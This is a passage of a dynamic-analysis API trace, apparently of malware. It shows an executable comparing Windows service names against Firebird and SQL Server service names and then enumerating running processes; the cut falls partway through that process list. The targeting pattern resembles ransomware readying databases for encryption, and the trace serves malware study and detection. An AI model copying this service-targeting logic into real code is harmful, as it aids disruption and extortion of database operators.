lpString2="BrokerInfrastructure") returned 1 [0244.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0244.625] lstrlenW (lpString="CDPSvc") returned 6 [0244.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0244.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0244.625] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0244.625] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0244.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0244.625] lstrlenW (lpString="ClickToRunSvc") returned 13 [0244.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0244.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0244.625] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0244.625] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0244.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0244.625] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0244.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0244.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0244.631] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0244.631] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0244.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0244.631] lstrlenW (lpString="CryptSvc") returned 8 [0244.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0244.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0244.631] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0244.631] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0244.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0244.631] lstrlenW (lpString="DcomLaunch") returned 10 [0244.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0244.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0244.631] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0244.631] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0244.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0244.631] lstrlenW (lpString="DeviceAssociationService") returned 24 [0244.632] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0244.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0244.632] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0244.632] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0244.632] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0244.632] lstrlenW (lpString="Dhcp") returned 4 [0244.632] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0244.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0244.632] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0244.632] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0244.632] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0244.632] lstrlenW (lpString="Dnscache") returned 8 [0244.632] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0244.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0244.632] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0244.632] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0244.632] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0244.632] lstrlenW (lpString="DPS") returned 3 [0244.632] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0244.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0244.632] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0244.632] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0244.632] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0244.632] lstrlenW (lpString="DusmSvc") returned 7 [0244.632] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0244.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0244.632] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0244.632] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0244.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0244.633] lstrlenW (lpString="EventLog") returned 8 [0244.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0244.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0244.633] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0244.633] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0244.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0244.633] lstrlenW (lpString="EventSystem") returned 11 [0244.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0244.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0244.633] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0244.633] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0244.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0244.633] lstrlenW (lpString="FontCache") returned 9 [0244.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0244.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0244.633] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0244.633] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0244.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0244.633] lstrlenW (lpString="gpsvc") returned 5 [0244.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0244.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0244.633] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0244.633] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0244.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0244.633] lstrlenW (lpString="iphlpsvc") returned 8 [0244.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0244.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0244.633] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0244.634] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0244.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0244.634] lstrlenW (lpString="KeyIso") returned 6 [0244.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0244.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0244.634] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0244.634] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0244.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0244.634] lstrlenW (lpString="LanmanServer") returned 12 [0244.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0244.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0244.634] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0244.634] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0244.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0244.634] lstrlenW (lpString="LanmanWorkstation") returned 17 [0244.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0244.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0244.634] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0244.634] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0244.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0244.634] lstrlenW (lpString="lfsvc") returned 5 [0244.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0244.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0244.634] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0244.634] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0244.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0244.634] lstrlenW (lpString="lmhosts") returned 7 [0244.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0244.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0244.635] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0244.635] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0244.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0244.635] lstrlenW (lpString="LSM") returned 3 [0244.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0244.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0244.635] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0244.635] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0244.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0244.635] lstrlenW (lpString="MpsSvc") returned 6 [0244.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0244.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0244.635] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0244.635] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0244.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0244.635] lstrlenW (lpString="NcbService") returned 10 [0244.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0244.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0244.635] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0244.635] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0244.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0244.635] lstrlenW (lpString="netprofm") returned 8 [0244.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0244.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0244.636] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0244.636] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0244.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0244.636] lstrlenW (lpString="NgcSvc") returned 6 [0244.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0244.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0244.636] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0244.636] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0244.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0244.636] lstrlenW (lpString="NlaSvc") returned 6 [0244.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0244.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0244.636] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0244.636] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0244.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0244.636] lstrlenW (lpString="nsi") returned 3 [0244.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0244.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0244.636] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0244.636] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0244.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0244.636] lstrlenW (lpString="PcaSvc") returned 6 [0244.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0244.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0244.636] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0244.636] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0244.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0244.637] lstrlenW (lpString="PlugPlay") returned 8 [0244.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0244.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0244.637] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0244.637] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0244.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0244.637] lstrlenW (lpString="Power") returned 5 [0244.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0244.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0244.637] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0244.637] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0244.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0244.637] lstrlenW (lpString="ProfSvc") returned 7 [0244.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0244.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0244.637] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0244.637] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0244.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0244.637] lstrlenW (lpString="RpcEptMapper") returned 12 [0244.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0244.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0244.637] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0244.637] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0244.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0244.637] lstrlenW (lpString="RpcSs") returned 5 [0244.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0244.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0244.638] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0244.638] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0244.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0244.638] lstrlenW (lpString="SamSs") returned 5 [0244.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0244.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0244.638] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0244.638] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0244.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0244.638] lstrlenW (lpString="Schedule") returned 8 [0244.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0244.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0244.638] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0244.638] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0244.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0244.638] lstrlenW (lpString="SecurityHealthService") returned 21 [0244.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0244.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0244.638] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0244.638] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0244.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0244.638] lstrlenW (lpString="SENS") returned 4 [0244.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0244.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0244.638] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0244.638] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0244.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0244.639] lstrlenW (lpString="ShellHWDetection") returned 16 [0244.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0244.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0244.639] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0244.639] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0244.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0244.639] lstrlenW (lpString="Spooler") returned 7 [0244.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0244.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0244.639] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0244.639] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0244.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0244.639] lstrlenW (lpString="StateRepository") returned 15 [0244.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0244.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0244.639] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0244.639] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0244.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0244.639] lstrlenW (lpString="SysMain") returned 7 [0244.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0244.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0244.639] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0244.639] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0244.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0244.639] lstrlenW (lpString="SystemEventsBroker") returned 18 [0244.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0244.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0244.639] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0244.640] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0244.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0244.640] lstrlenW (lpString="Themes") returned 6 [0244.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0244.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0244.640] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0244.640] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0244.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0244.640] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0244.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0244.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0244.640] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0244.640] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0244.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1 [0244.640] lstrlenW (lpString="TimeBrokerSvc") returned 13 [0244.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0244.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0244.640] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1 [0244.640] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1 [0244.640] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ffc9c0 | out: hHeap=0x630000) returned 1 [0244.640] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1190 [0244.916] Process32FirstW (in: hSnapshot=0x1190, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0244.917] Process32NextW (in: hSnapshot=0x1190, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0244.926] lstrlenW (lpString="System") returned 6 [0244.926] Process32NextW (in: hSnapshot=0x1190, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0244.927] lstrlenW (lpString="smss.exe") returned 8 [0244.927] Process32NextW (in: hSnapshot=0x1190, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0244.928] lstrlenW (lpString="csrss.exe") returned 9 [0244.928] Process32NextW (in: hSnapshot=0x1190, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0244.929] lstrlenW (lpString="wininit.exe") returned 11 [0244.929] Process32NextW (in: hSnapshot=0x1190, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0244.930] lstrlenW (lpString="csrss.exe") returned 9 [0244.930] Process32NextW (in: hSnapshot=0x1190, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0244.931] lstrlenW (lpString="winlogon.exe") returned 12 [0244.931] Process32NextW (in: hSnapshot=0x1190, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0244.932] lstrlenW (lpString="services.exe") returned 12 [0244.932] Process32NextW (in: hSnapshot=0x1190, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0244.933] lstrlenW (lpString="lsass.exe") returned 9 [0244.933] Process32NextW (in: hSnapshot=0x1190, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0244.934] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0244.934] Process32NextW (in: hSnapshot=0x1190, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0244.935] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0244.935] Process32NextW (in: hSnapshot=0x1190, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.936] lstrlenW (lpString="svchost.exe") returned 11 [0244.936] Process32NextW (in: hSnapshot=0x1190, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.937] lstrlenW (lpString="svchost.exe") returned 11 [0244.937] Process32NextW (in: hSnapshot=0x1190, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, 